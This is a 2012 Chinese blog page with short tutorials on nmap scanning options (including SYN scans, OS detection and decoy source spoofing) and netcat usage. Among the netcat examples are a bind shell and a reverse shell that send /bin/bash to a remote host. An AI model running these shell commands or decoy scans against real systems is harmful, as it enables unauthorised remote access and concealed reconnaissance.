网络工具 - 海运的博客

Linux网络扫描工具nmap使用

发布时间：May 3, 2012 // 分类：网络工具 // No Comments

Nmap是linux下功能强大的网络扫描嗅探工具，支持多种扫描方式，还可侦测远端运行的操作系统。
使用语法：

nmap [Scan Type...] [Options] {target specification}

参数：

-P0  不ping主机，只进行扫描。
-PT  使用TCP的ping
-PB  这是默认类型，可以使用ICMP ping 也可以使用TCP ping。
-sL 仅列出指定网络上在线主机
-sP 只进行ping，不进一步扫描，用于判断主机是否在线。
-sS SYN扫描，只发送syn数据包。
-sT TCP扫描，默认扫描方式。
-sU UDP扫描
-sF FIN扫描
-sO 目标支持哪些协议
-iR 随机生成目录地址
-S 源地址欺骗
-D 使用一组地址为源地址欺骗
-R 反向DNS查询
-p 指定端口
-f 快速扫描模式
-O 探测目标操作系统
-A 全部扫描
-v 列出详细信息

应用举例：
1.扫描远程主机开放端口及操作系统：

nmap -sS -P0 -v -O host

2.列出指定网段在线主机：

nmap -sP 192.168.1.0/24

3.列出指定网段内反向DNS：

nmap -R -sL 192.168.1.0/24

4.随机生成100IP扫描80端口并进行源IP欺骗：

nmap -iR 100 -p 80 -n -vv -e eth0 -D 192.168.1.5,ME 192.168.1.2

Linux网络工具之nc使用

发布时间：May 3, 2012 // 分类：网络工具 // No Comments

NC是一款小巧强大的网络工具，有瑞士军刀之称。
语法：

nc [-options] hostname port[s] [ports] ...

参数：

-l 监听模式
-i 延迟时间
-e 程序重定向
-p 本地端口
-r 任意本地或远程端口
-u 使用UDP协议
-U uinx sock模式
-n 使用IP地址
-v 显示指令执行过程
-w 超时时间
-z 关闭输入输出，用于扫描

应用举例：
1.端口扫描：

nc -v -z -w 1 www.haiyun.me 1-1000

2.传输文件：

nc -l 1000 < file
nc host 1000 > file

3.简单聊天软件：

nc -l 1000
nc host 1000

4.重定向shell到监听端口：

nc -l -p 5000 -e /bin/bash

5.重定向shell并反向连接远程服务器：

nc -e /bin/bash www.haiyun.me 5000

海运的博客

Linux网络扫描工具nmap使用

Linux网络工具之nc使用

分类

最新文章

最近回复